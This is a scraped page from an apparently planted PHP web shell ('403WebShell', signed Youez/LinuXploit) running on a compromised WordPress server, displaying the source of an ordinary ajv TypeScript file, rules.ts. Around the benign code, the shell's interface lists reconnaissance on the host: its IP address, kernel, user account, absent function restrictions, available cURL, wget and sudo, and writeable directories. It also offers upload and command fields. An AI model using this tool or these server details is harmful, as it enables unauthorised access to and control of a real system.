Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/node_modules/ajv/lib/compile/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/node_modules/ajv/lib/compile/rules.ts
import type {AddedKeywordDefinition} from "../types"

const _jsonTypes = ["string", "number", "integer", "boolean", "null", "object", "array"] as const

export type JSONType = typeof _jsonTypes[number]

const jsonTypes: Set<string> = new Set(_jsonTypes)

export function isJSONType(x: unknown): x is JSONType {
  return typeof x == "string" && jsonTypes.has(x)
}

type ValidationTypes = {
  [K in JSONType]: boolean | RuleGroup | undefined
}

export interface ValidationRules {
  rules: RuleGroup[]
  post: RuleGroup
  all: {[Key in string]?: boolean | Rule} // rules that have to be validated
  keywords: {[Key in string]?: boolean} // all known keywords (superset of "all")
  types: ValidationTypes
}

export interface RuleGroup {
  type?: JSONType
  rules: Rule[]
}

// This interface wraps KeywordDefinition because definition can have multiple keywords
export interface Rule {
  keyword: string
  definition: AddedKeywordDefinition
}

export function getRules(): ValidationRules {
  const groups: Record<"number" | "string" | "array" | "object", RuleGroup> = {
    number: {type: "number", rules: []},
    string: {type: "string", rules: []},
    array: {type: "array", rules: []},
    object: {type: "object", rules: []},
  }
  return {
    types: {...groups, integer: true, boolean: true, null: true},
    rules: [{rules: []}, groups.number, groups.string, groups.array, groups.object],
    post: {rules: []},
    all: {},
    keywords: {},
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit